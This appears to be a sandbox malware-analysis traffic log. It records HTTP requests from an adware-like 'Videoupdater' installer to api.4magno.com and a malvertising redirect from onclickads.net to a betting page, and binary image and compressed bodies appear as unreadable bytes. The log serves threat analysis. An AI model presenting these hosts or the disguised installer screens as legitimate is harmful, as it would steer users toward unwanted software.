shop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C3A939F7587711E4B24B9B
1D22040B34" xmpMM:DocumentID="xmp.did:C3A939F8587711E4B24B9B1D22040B34
"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C3A939F5587711E4
B24B9B1D22040B34" stRef:documentID="xmp.did:C3A939F6587711E4B24B9B1D22
040B34"/> </rdf:Description> </rdf:RDF> </x:xmpmeta&
gt; <?xpacket end="r"?>........IDATx...kh.q...s.........$.eF....
[email protected]~.w.....?.y^.?]
...K(o..C..w.FM.....`...N.h.....)[email protected][email protected]...<...."..^b.
....._.Y..........:.X..1...]lK..g....{.(..uhD;.U....:..."N..U?....&.q.
.....D#.C....G"...d..^[email protected]..=..g..tT. &h.v..^...6.g`......-P.....
....W(D7...5<.Lg..F>Va.Rp..X.M..z..O......8..j..f.JQ..*.Q..c..$`
?*.P.E...uv..T...P..9..]w..=..\...2.D....=..\Ta'......V.).*.i....."...
z....=j.K....r$..:....Mj..m...^:..H..`.."..C...\.Q...<8.7....'s.._.
:.G..#..}]..jk.^c).P...-.....N..QV(.-F.6.[......\.d.(_.f..U..8,T .
<<< skipped >>>

GET /coefficients/img/logo.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 4681

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:00 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fa760a1589-FRA
.PNG........IHDR.......:.....h.......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:6BC452FD02B611E5A5
D6B4557B4669B8" xmpMM:DocumentID="xmp.did:6BC452FE02B611E5A5D6B4557B46
69B8"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6BC452FB02B6
11E5A5D6B4557B4669B8" stRef:documentID="xmp.did:6BC452FC02B611E5A5D6B4
557B4669B8"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>;..h....IDATx..]...E..#O..S..........
.@I[..$=.....f.."[email protected].@"[email protected].?{....
9....?.......|....{OF(.o............o.o .'.....V3......K.....Y.:3ty...
.O..w..!^...y.5..H.;.....R=#._....tYL.O.Ek3.. ........7.4.L...?B|..*..
...a.o....Q.m.d.hP;...=.!.M..J.".....c..A...]k!.A..l.......C....`M....
.kP.C..........g [email protected].~H.'..v....t..A}.R:rhD...2.
.cL.y...w<..1.s..OR...O....o..y.4..j...(..4..<".....}.T.m....}..
..sT6...."..U..|=..3.~|9............X...*[email protected]@;....$b]....@s.....
ZC.....L&...My.......#.*..Y:.......\. .?*..]...g...A.)'P;{..j.S[..
<<< skipped >>>

GET /coefficients/img/f-2.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 2447

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:31:59 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20faf61b1589-FRA
.PNG........IHDR..............JL.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:A47A2FFD037B11E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:A47A2FFE037B11E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A47A2FFB037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:A47A2FFC037B11E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>........IDATx..V[hUW.]{.s.yjnb.&.X...
..!UT.D.b.$..VQ..J...?>....i.U.TcM..("V..X1..j.......1......>7..
i.v...}f...Yk.#h.N....z...-..>@.......2..2...8....~...>. `..|#..
.C,....8..z...&.1r..u......-..I.... ....u..v.F....X.l...I)........{.H.
z....`...f. ..|z...9g...{s........1u.YX.;.....C.....2......xm-HJH~`...
.....SR...\@.....s.. .....dI.i.y../..%DZ.x..S..]...p.[..$..#.6y2.c....
......B.....e.....VG.-..?._SS......r.tp.$22.`.}.._....M..........B09..
..8...!.U..>....pbQHN..B...[..8z....#..._T[.<df&.9.. ^TToUU.....
Fz...yy.WTD.)...Oj.nr..'5{6Q4Jn[..-YB....)f........<t.(.#..2.L.
<<< skipped >>>

GET /coefficients/img/f-4.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 3230

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:00 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fb56251589-FRA
.PNG........IHDR.............V.g.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:FBB45F5C037B11E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:FBB45F5D037B11E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FBB45F5A037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:FBB45F5B037B11E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>.m......IDATx.|W{[email protected]
..E..aP...N.....A ..v|`ul.k..b.......8 ...ud@..... [email protected]..}.{....{
ah.....gw.~....v..]^..,........hH..........w.p..G.n\. ...p..U;y.Vx]...
...J]<.=p1...p.pR.D.q...*H.L..;.c....Q.{.!~.SiO...."...].6oR. kIR..
.v../..%...3...{...`OG....I..z.A..a-.|'..2.....%~.i...f........b..zuH.
.....}.j.xK...X........*A2..y&......c..a...1...^.:.b..P...:...l.....s.
}....W.[p.[[email protected]#.....B.R.;.C\l.:r...=..6.
J.Z....*............frxe..<..!.?.9.......5f.T..=....#...i.. BF._::p
.i.N6..._.........7...C....y.!.....)\g3...../...B..... R..Cl.4d,.&
<<< skipped >>>

GET /coefficients/img/loyal-img-1.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 5423

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:00 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fbc6331589-FRA
.PNG........IHDR...a.................tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:FBB45F60037B11E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:FBB45F61037B11E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FBB45F5E037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:FBB45F5F037B11E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>F..!....IDATx.............|.H....."M#
h(.%6..Q"..`.-..1JP.D%*X.5.....$(.^ ..~.(U..._.xts.{..;,{..-."g.o...w.
.93..sv'o........O..QsK~7.|.... ._..m.7k^./.....4..........Q.......k..
....4/..Z.,.e..5..\......e.....n.<G..._..&W.6.. .y...j>.{.......
.U.*.'..4...~.c4......5.w. ...a...|.&.N.S4/...%....-..,..j..y...j~..vP
)A....o.|L.<T....Oq.I..c......$..5O..j.F.%...<^......J...Q..4...
....8^Zm.....y.Ki..k.U.U(.NzI,..R..........=.....t....fz......4......j
........a...F...>.....&-..!.. ...O..\.B...P.p..g...5..'dB.=.=.yI...
..@......\[email protected]..|..W5_.^..*k...1].y...B..R...4......y<....,..
<<< skipped >>>

GET /coefficients/img/loyal-img-2.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 4946

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:00 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fc36391589-FRA
.PNG........IHDR...J.........}V......tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:A652AE65038711E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:A652AE66038711E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:FBB45F62037B
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:A652AE64038711E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>........IDATx....tT...o.j...V....BD..
X...**...VT\.D-....ET.S.....Z..QTD.r0q."...A...$Td..~......f..d&.fr.s.
gf..7.....m.........H..e.!.N.......K.y....@.......... .@P(X%. (......$
Q.....#.Np8..*.B.......c.PA..D...I.....].........\/[email protected].......\'.9-e
.`;A7.....;..A...k......:@p..i.s.=s.......$.'.D0\p:J|.`..qJ.y. %m...`.
.......@.*....[...~/./x...}....8K...v.....J..../......C..C.}..Z.u.$...
....E.).(8....).......J.*..9j.~K..U.s.....Sp.`...c.i.....L.......X.!..
......dE..... i...k.C.w.0..;...'.P.....)xD0F.6..c:7....tXOt...........
.........`...>n ..Yp...Z.......F....4(QMq........H....j....!.9.
<<< skipped >>>

GET /coefficients/img/loyal-img-3.png HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:54 GMT

Content-Type: image/png

Content-Length: 5321

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:32:01 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:54 GMT

Cserver: 0

X-Cache: HIT

HServer: 1

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1fcf20fd56461589-FRA
.PNG........IHDR...R...........y.....tEXtSoftware.Adobe ImageReadyq.e&
lt;...(iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1
.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http:/
/ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photo
shop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:A652AE69038711E58F
ACE02FB9FAACC9" xmpMM:DocumentID="xmp.did:A652AE6A038711E58FACE02FB9FA
ACC9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A652AE670387
11E58FACE02FB9FAACC9" stRef:documentID="xmp.did:A652AE68038711E58FACE0
2FB9FAACC9"/> </rdf:Description> </rdf:RDF> </x:xmpm
eta> <?xpacket end="r"?>..5....7IDATx..]..NU.?..P.g....v.C...
..d ./...v..6J.jW.m...("m.V.*e..j..T.L..5...}...{..9.=.}.;n9........s.
..=..:.O...B.C.N..Qk.l....=..D.......{.f...?#* .FT..&..D...'.E4.h2....
...D..}F....D....5 ..#:..c.....g...v..b..D..F.....6..Dm...l..k..H.d$w.
s.Z...|..D'..!..s..U....D...&...T.!D5....=N.M.22;b....r-d..D...2t.6DS.
?3.|.kRx.L..h..2wB!.Jt...?.....2./..8...D.....'Z..."..D..Y..D.......n.
..)D.a.t...U.d....'....!.Z...#...C..R...B..........iE.Kt...e."z.....].
.....V...D..PfH...eDO...Y..(.KS|..D.D..~...I....~.Q..Fr....L.^.....iD.
.U=.{..B........F...:d....w.(S....D.........v........Y.........R.E
<<< skipped >>>

GET /maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/css

Date: Sat, 27 Jun 2015 06:34:47 GMT

ETag: "54f6e242-4a5a"

Last-Modified: Wed, 04 Mar 2015 10:45:22 GMT

Server: nginx

Content-Length: 19034

Connection: keep-alive
/* Template Template Videoupdater */...article,aside,details,figcaptio
n,figure,.footer,header,hgroup,menu,nav,section {..display:block;.}.p,
 h5, h4, h3, h2, h1, span, ul, li, form, input, textarea {..margin:0;.
.padding:0;.}.body {..margin:0 auto;..background-color:#323333;..width
: 555px;..height: 458px;..color:#b5b5b5;..font-family:Arial, Helvetica
, sans-serif;..scrollbar-face-color: #666666;..scrollbar-highlight-col
or: #999999;..scrollbar-3dlight-color: #333333;..scrollbar-shadow-colo
r: #333333;..scrollbar-darkshadow-color: #333333;..scrollbar-arrow-col
or: #CCCCCC;..scrollbar-track-color: #333333;.}...videupdater a, .vide
updater span {..color:#b5b5b5;.}...clear {..clear:both;..height:0px;..
overflow:inherit;..display: none;.}..li {..list-style: none;.}./******
***************//*********************//*********************//*******
**************//********./* estilo para poner los botones del box.html
 todos en display none */.._Bnext, .._Bexit, .._Bdecline, .._Bomit {..
/*display:none;*/.}./*************************************************
*/..container {..float:left;..width:555px;..height: 458px;..background
-color:#323333;..margin: 0 auto;.}../*****************Template Win_Lin
k*****************/......minimize {..float: right;..width: 45px;..posi
tion: relative;..margin-right: -45px;..right: 45px;..margin-top: 12px;
..z-index: 9999;.}....minimize ul li {..display: inline;..float: left;
.}...minimize li {....float: left;..}  ....minimize .button-min {..col
or: #636363;..text-decoration: none;..border: none;..font-size: 17
<<< skipped >>>

GET /__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater HTTP/1.1

Accept: */*

Proxy-Authorization: Basic 

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36

Host: api.4magno.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Language: en

Content-Type: text/html; charset=utf-8

Date: Sat, 27 Jun 2015 06:34:47 GMT

Server: nginx

Vary: Accept-Language

Content-Length: 961

Connection: keep-alive
..<!--Intall Videoupdater-->..<div class="install">..    &
lt;h1>Installation Progress</h1>.    .    <p>This Downl
oad Manager will minimize to your system tray shortly to allow you to 
work on other items while your selections install. To restore this win
dow, simply click on the icon in your system tray.</p>.    .    
  <div class="install-loading">.    </div>.    <div cla
ss="progress-bar">.        <div class="_TotalProgressLevel progr
ess-level" ></div>            .    </div>....<div cl
ass="clear" style="height:10px; display:block;"></div>.     &
lt;div class="_ProgressInstallingText" style="display:none; text-align
: center; margin-left: 45px; width: 422px;"><p>Installing ...
</p></div>.    .    <div class="_ProgressText" style="d
isplay:none;  margin-left: 33px;">.        <p>Process: <sp
an class="_ProgressTextDownloaded"></span>  of <span 
class="_ProgressTextTotal"></span> (<span class="_Progress
TextPercentage"></span> %)</p>.    </div>..   .  
 .</div>.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Language
: en..Content-Type: text/html; charset=utf-8..Date: Sat, 27 Jun 2015 0
6:34:47 GMT..Server: nginx..Vary: Accept-Language..Content-Length: 961
..Connection: keep-alive....<!--Intall Videoupdater-->..<div 
class="install">..    <h1>Installation Progress</h1>.  
  .    <p>This Download Manager will minimize to your system
<<< skipped >>>

GET /coefficients/?btag=a_3963b_382c_313275 HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://onclickads.net/afu.php?zoneid=313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: text/html; charset=WINDOWS-1251

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; expires=Sun, 26-Jun-16 06:34:53 GMT; path=/; domain=.ruparimatch.com; HttpOnly

Set-Cookie: pm_btag=a_3963b_382c_313275; expires=Sun, 12-Jul-2015 06:34:52 GMT; path=/; domain=.ruparimatch.com

Userver: 1

GEOIP: UA,(null)

Vary: Accept-Encoding

HServer: 1

Server: cloudflare-nginx

CF-RAY: 1fcf20f1f00a2360-FRA

Content-Encoding: gzip
472.............X.n.6...S0.v).r.5.$...,[email protected]
[email protected][,:..D........c.z.....@.....?.2.$6..q...3# ..$..G..I..&.....
.VH$.n.EB..S.3.!@......}JNc.$...$...O.'..#}...xy..T2.|....t.`..b.j...!
._Og...*.:............Q....A.........q.T.6.!..:3......4..F......n...O#
.K....$.oW...$.....pmx..>.<.P.=""..h.'..P......)......5....8;..G
.....O`.[.Z.Ou......t^...|2.&.u... .q.........VW g<}..M~.gW..d.B.Y.
....3.O=.k..=..8$.l.h...CP.h...6,..H.'_!tzz...T.].ry.H.%.....'......#.
^m.......6lC..........D..J....G...I$..].5......i8.....Y>..Xd..[..-.
..8...."...z.W.......m.]./.Y..7..c.P....f...J....0U.n.m..|...V_7....FH
d.=][email protected]]....X4......\.......7..V....d1..c!.t.{..........Q.fK
.i....i....E..Q.g...6.n6...l..f.....Z;}...s.z...#.......d.?..>_QQ..
..H...\.....2.$.....t.Cg...t6.z.y...P-..... 5.....:...#..R.....:u.....
Q....A.3.A..K...........P...8$pI....z%O..s#......x.......TJ....J."K...
}.Rb._Kj;....".$b[PJ...f..e..iT..m.qTh.&t......]. v~........Y(...XU.S.
R%.....qF.mE..u~.^[email protected]../. 0..w...bt../7...3P........J0....
..,...Z>..`...t4.f..C..G...5.(e..5u.|.....Q6.... Q.h'....z...5}.r..
%uo.......m.<...y.d}ZS....G.u.X>.?u........3b8.....n.0....`.J$"J
.V0. HLCL.6........f.SrY)h..o.je]/..$.......M;.c...o.....X..z"5S......
pZ.l.....z........[>...%...D.1.T1..M.\[email protected]......
.7.^p..!..(..kz......0K1[.=...jw.....>.......a'..m.0'.BJZ.J.UuASQ..
..*.d..N .Q.k....s....{.q..:......P.ZA4m....6.!..T.t..,...:...^...fp..
..v.......#.....G.:htZ..^qNG#...... Fd..3..F.c9j.YvM7,ky.0..u=...`
<<< skipped >>>

GET /coefficients/css/foundation.css HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: start.ruparimatch.com

Connection: Keep-Alive

Cookie: __cfduid=dcd6b91b77e74d3972758ea7cd8746b2d1435386893; pm_btag=a_3963b_382c_313275

HTTP/1.1 200 OK

Date: Sat, 27 Jun 2015 06:34:53 GMT

Content-Type: text/css

Transfer-Encoding: chunked

Connection: keep-alive

Last-Modified: Wed, 10 Jun 2015 13:02:41 GMT

Userver: 6

GEOIP: (null),(null)

Cache-Control: public, max-age=14400

Expires: Sat, 27 Jun 2015 10:34:53 GMT

Content-Encoding: gzip

Cserver: 0

X-Cache: MISS

HServer: 1

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1fcf20f3904c2360-FRA
5945.............}.s#..... .6.*.-.|K.....$v...b...>._...4^.........
..h....p.].%f...F..h4....8.....Y.............Y.]W.C.:_..7/.g.O.....g/.
.wv............WmVo..bW..V......... ..'...e.f.}...{[email protected].
L...l4..1....t.i...l...U..)."0..]6......6...*..Z,..t.....:......9..Q..
z<Z....v.......{... ..C....b...H...j_......<.WKI.....=....?.|.3.
.{...rs..}.-.].%.2...}.b^\W.......N.......C..-7...<.^.../T..l.=3..^
[email protected];.s$.D.q..I..P.....buW..E...8...3.p....W..<
;.tW....|..........f.P.T;&GM.kEd..*7E...?.ik.8...M.c./....W./....v....
.....mu.H.{......._.oD....h`...`..z.....Jqu.d]...#.'..a.o.."......;w..
..X.I...bq8?....a.>Z._yoY.......RLM.&....T."..r..v.|#...*.e..U.3...
~..'.,%..b.U....{=;2.bg...D.a0.eb. ._d.|..#...I|*.ne[..R.tS.wO....r_2h
...^... .j-..,..f.\..b.L_....5%x..3......nv...".}0.e. 7....j...a......
`.0.^3.T.Cq..wE..(=a...i..V..}....Y].^.Zq..a........lX?.8.;.....p8....
j.x..}&.V.v_d.d..q.9.......=..Jb...$..k.PF.....B.aEN.../.*..L;......I.
.C..^..qRg4..........d.Kh.0.a.l..&.U..h[.@_zh.rX.c$;.>3..o].2...}.y
..*..z..r.......l.....@XK..../6(.".A./.d........H.A.............<..
y..L...p.P.?u..\..1P..a.V..1..c.ru.Um.d..Q...Y.........j{0.X....M.....
j.hQ.&I............b9M.r2l0.u Um.f..Y...A.~u.vZ.I.."..&S......\.L.r.d.
..T.g...U...is....}.4..i..e..\.S....y...\5...0U.....tnO.&..*SLi.......
.W........Z.........O.| ..RS....N..[j:../.|._.n.... ..../....x........
}b...U....`T/w'....ZC...N]..V.pC].1V.qI]..V.pO].)V.pU]..V.q[]...^*./..
.T:_a./..<D9.2..C...j). xma.U.....&.......j.%.^.....yV.{YX..L`;
<<< skipped >>>

GET /coefficients/js/vendor/modernizr.js HTTP/1.1

Accept: */*

Referer: hXXp://start.ruparimatch.com/coefficients/?btag=a_3963b_382c_313275

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

